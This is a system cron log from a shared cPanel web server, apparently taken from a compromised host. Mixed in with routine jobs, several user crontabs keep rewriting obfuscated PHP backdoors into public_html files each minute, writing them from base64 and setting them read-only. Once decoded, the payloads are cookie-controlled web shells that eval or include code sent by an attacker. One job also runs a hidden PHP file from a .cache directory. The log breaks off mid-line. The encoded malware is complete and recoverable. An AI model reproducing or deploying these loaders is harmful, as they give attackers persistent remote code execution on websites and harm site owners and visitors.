Mar  1 13:41:01 medusa CROND[28723]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:41:01 medusa CROND[28724]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 13:41:01 medusa CROND[28725]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:41:01 medusa CROND[28727]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:41:01 medusa CROND[28733]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:41:01 medusa CROND[28735]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:41:01 medusa CROND[28741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:41:01 medusa CROND[28743]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:41:01 medusa CROND[28742]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 13:41:01 medusa CROND[28747]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:42:01 medusa CROND[21142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:42:01 medusa CROND[21240]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:42:01 medusa CROND[21241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:42:01 medusa CROND[21242]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 13:42:01 medusa CROND[21243]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:42:01 medusa CROND[21245]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:42:01 medusa CROND[21247]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:42:01 medusa CROND[21248]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:42:01 medusa CROND[21246]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:42:01 medusa CROND[21252]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:42:01 medusa CROND[21254]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:42:01 medusa CROND[21257]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:42:01 medusa CROND[21258]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:43:01 medusa CROND[13930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:43:01 medusa CROND[14015]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:43:01 medusa CROND[14085]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 13:43:01 medusa CROND[14086]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:43:01 medusa CROND[14087]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:43:01 medusa CROND[14089]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 13:43:01 medusa CROND[14091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:43:01 medusa CROND[14095]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgL